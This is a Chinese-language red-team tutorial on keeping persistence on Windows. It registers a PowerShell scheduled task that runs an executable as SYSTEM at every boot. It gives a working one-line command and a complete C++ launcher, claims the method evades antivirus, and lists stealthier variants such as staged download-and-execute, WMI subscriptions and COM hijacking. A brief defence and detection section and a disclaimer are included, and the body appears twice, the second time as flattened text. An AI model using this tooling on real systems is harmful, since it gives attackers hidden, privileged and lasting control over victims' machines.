红队权限维持策略——实用版(r3-r0)
字数 1761 2025-08-22 12:23:06

红队权限维持策略——实用版技术文档

0. 前言

本文档详细讲解一种基于PowerShell计划任务的红队权限维持技术,该技术能够绕过常见杀毒软件检测,实现权限提升和持久化。文档包含原理分析、核心命令详解、代码实现及完整示例。

免责声明:本技术仅用于合法安全测试和研究,禁止用于非法用途,使用者需自行承担法律责任。

1. 技术原理

1.1 核心思路

通过PowerShell注册系统计划任务,配置为系统启动时自动执行,利用Windows API创建和管理进程,实现权限维持。

1.2 技术优势

  • 绕过常见杀毒软件检测
  • 可实现权限提升(SYSTEM权限)
  • 持久化效果良好(系统启动触发)
  • 操作隐蔽性较高

2. 核心组件详解

2.1 Register-ScheduledTask命令

2.1.1 功能概述

Register-ScheduledTask是PowerShell提供的Cmdlet,用于注册或更新计划任务,可配置任务操作、触发条件等参数。

2.1.2 完整语法

Register-ScheduledTask 
    [-TaskName] <String> 
    [-Action] <ScheduledTaskAction[]> 
    [[-Trigger] <ScheduledTaskTrigger[]>] 
    [[-Description] <String>] 
    [-User <String>] 
    [-RunLevel <RunLevelType>] 
    [-Force] 
    [-CimSession <CimSession[]>] 
    [-AsJob] 
    [-TaskPath <String>] 
    [-InputObject <CimInstance>] 
    [<CommonParameters>]

2.1.3 关键参数详解

参数 作用 示例值 说明
-TaskName 指定任务名称 "BackupTask" 必须唯一
-Action 定义任务执行的操作 (New-ScheduledTaskAction -Execute "C:\Path\MyScript.exe") 可执行程序或脚本
-Trigger 定义触发条件 (New-ScheduledTaskTrigger -AtStartup) 系统启动时触发
-User 指定运行账户 "SYSTEM" 系统权限运行
-RunLevel 设置权限级别 "Highest" 管理员权限
-Description 任务描述 "系统备份任务" 可选
-Force 强制覆盖 - 覆盖同名任务
-TaskPath 任务存储路径 "\CustomTasks" 分类管理

2.2 辅助命令

2.2.1 New-ScheduledTaskAction

创建任务操作:

New-ScheduledTaskAction -Execute "C:\Path\Program.exe" [-Argument "参数"]

2.2.2 New-ScheduledTaskTrigger

创建触发器:

New-ScheduledTaskTrigger -AtStartup  # 系统启动时
New-ScheduledTaskTrigger -Daily -At 8am  # 每天8点

2.2.3 Start-ScheduledTask

立即启动任务:

Start-ScheduledTask -TaskName "MyTask"

3. 完整实现方案

3.1 PowerShell单行命令

powershell.exe -Command "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'D:\temp\1.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -TaskName 'MyTask' -User 'SYSTEM' -RunLevel Highest -Force; Start-ScheduledTask -TaskName 'MyTask';"

3.2 C++程序实现

3.2.1 完整代码

#include <iostream>
#include <windows.h>
#include <string>

int main() {
    // 构造PowerShell命令
    std::wstring command = L"powershell.exe -Command \""
        L"Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'D:\\temp\\1.exe') "
        L"-Trigger (New-ScheduledTaskTrigger -AtStartup) "
        L"-TaskName 'MyTask' -User 'SYSTEM' -RunLevel Highest -Force; "
        L"Start-ScheduledTask -TaskName 'MyTask'; "
        L"\"";

    // 准备进程启动信息
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    // 创建PowerShell进程
    if (CreateProcess(
        NULL,
        const_cast<wchar_t*>(command.c_str()),
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        &si,
        &pi)) {
        
        // 等待进程执行完成
        WaitForSingleObject(pi.hProcess, INFINITE);
        
        // 释放资源
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        
        std::wcout << L"任务已创建并开始执行。" << std::endl;
    } else {
        std::wcerr << L"创建进程失败,错误代码: " << GetLastError() << std::endl;
    }

    // 防止控制台立即关闭
    std::wcout << L"按任意键继续..." << std::endl;
    std::wcin.get();
    
    return 0;
}

3.2.2 关键代码解析

  1. 命令构造

    • 使用std::wstring构造PowerShell命令
    • 包含任务注册和立即启动两部分
  2. 进程创建

    • 使用CreateProcessAPI创建PowerShell进程
    • 参数说明:
      • NULL: 使用默认应用程序名
      • command.c_str(): 要执行的命令
      • 其他参数保持默认
  3. 进程管理

    • WaitForSingleObject: 等待进程执行完成
    • CloseHandle: 释放进程和线程句柄

4. 防御与检测

4.1 防御措施

  1. 限制PowerShell执行权限
  2. 监控计划任务创建行为
  3. 审计SYSTEM权限任务
  4. 启用高级威胁检测

4.2 检测指标

  1. 可疑的计划任务名称
  2. 系统启动触发器
  3. SYSTEM权限运行的任务
  4. 短时间内任务创建和执行

5. 扩展应用

5.1 变体技术

  1. 隐藏路径:使用非常规任务路径
  2. 延迟触发:设置定时触发而非立即执行
  3. 多级触发:通过第一阶段任务下载执行第二阶段

5.2 组合技术

  1. 结合WMI事件订阅实现更隐蔽的持久化
  2. 与注册表Run键结合实现多重持久化
  3. 通过COM劫持实现无文件持久化

6. 注意事项

  1. 路径问题:确保目标程序路径存在且可执行
  2. 权限问题:执行程序需要足够的权限
  3. 杀软规避:可能需要额外混淆处理
  4. 环境适配:不同Windows版本可能有差异

7. 总结

本文详细介绍了基于计划任务的红队权限维持技术,从原理到实现提供了完整的技术路径。该技术具有较好的隐蔽性和持久性,但也存在相应的检测特征。安全研究人员应了解此类技术以更好地防御相关攻击。

红队权限维持策略——实用版技术文档 0. 前言 本文档详细讲解一种基于PowerShell计划任务的红队权限维持技术,该技术能够绕过常见杀毒软件检测,实现权限提升和持久化。文档包含原理分析、核心命令详解、代码实现及完整示例。 免责声明 :本技术仅用于合法安全测试和研究,禁止用于非法用途,使用者需自行承担法律责任。 1. 技术原理 1.1 核心思路 通过PowerShell注册系统计划任务,配置为系统启动时自动执行,利用Windows API创建和管理进程,实现权限维持。 1.2 技术优势 绕过常见杀毒软件检测 可实现权限提升(SYSTEM权限) 持久化效果良好(系统启动触发) 操作隐蔽性较高 2. 核心组件详解 2.1 Register-ScheduledTask命令 2.1.1 功能概述 Register-ScheduledTask 是PowerShell提供的Cmdlet,用于注册或更新计划任务,可配置任务操作、触发条件等参数。 2.1.2 完整语法 2.1.3 关键参数详解 | 参数 | 作用 | 示例值 | 说明 | |------|------|--------|------| | -TaskName | 指定任务名称 | "BackupTask" | 必须唯一 | | -Action | 定义任务执行的操作 | (New-ScheduledTaskAction -Execute "C:\Path\MyScript.exe") | 可执行程序或脚本 | | -Trigger | 定义触发条件 | (New-ScheduledTaskTrigger -AtStartup) | 系统启动时触发 | | -User | 指定运行账户 | "SYSTEM" | 系统权限运行 | | -RunLevel | 设置权限级别 | "Highest" | 管理员权限 | | -Description | 任务描述 | "系统备份任务" | 可选 | | -Force | 强制覆盖 | - | 覆盖同名任务 | | -TaskPath | 任务存储路径 | "\CustomTasks\" | 分类管理 | 2.2 辅助命令 2.2.1 New-ScheduledTaskAction 创建任务操作: 2.2.2 New-ScheduledTaskTrigger 创建触发器: 2.2.3 Start-ScheduledTask 立即启动任务: 3. 完整实现方案 3.1 PowerShell单行命令 3.2 C++程序实现 3.2.1 完整代码 3.2.2 关键代码解析 命令构造 : 使用 std::wstring 构造PowerShell命令 包含任务注册和立即启动两部分 进程创建 : 使用 CreateProcess API创建PowerShell进程 参数说明: NULL : 使用默认应用程序名 command.c_str() : 要执行的命令 其他参数保持默认 进程管理 : WaitForSingleObject : 等待进程执行完成 CloseHandle : 释放进程和线程句柄 4. 防御与检测 4.1 防御措施 限制PowerShell执行权限 监控计划任务创建行为 审计SYSTEM权限任务 启用高级威胁检测 4.2 检测指标 可疑的计划任务名称 系统启动触发器 SYSTEM权限运行的任务 短时间内任务创建和执行 5. 扩展应用 5.1 变体技术 隐藏路径 :使用非常规任务路径 延迟触发 :设置定时触发而非立即执行 多级触发 :通过第一阶段任务下载执行第二阶段 5.2 组合技术 结合WMI事件订阅实现更隐蔽的持久化 与注册表Run键结合实现多重持久化 通过COM劫持实现无文件持久化 6. 注意事项 路径问题 :确保目标程序路径存在且可执行 权限问题 :执行程序需要足够的权限 杀软规避 :可能需要额外混淆处理 环境适配 :不同Windows版本可能有差异 7. 总结 本文详细介绍了基于计划任务的红队权限维持技术,从原理到实现提供了完整的技术路径。该技术具有较好的隐蔽性和持久性,但也存在相应的检测特征。安全研究人员应了解此类技术以更好地防御相关攻击。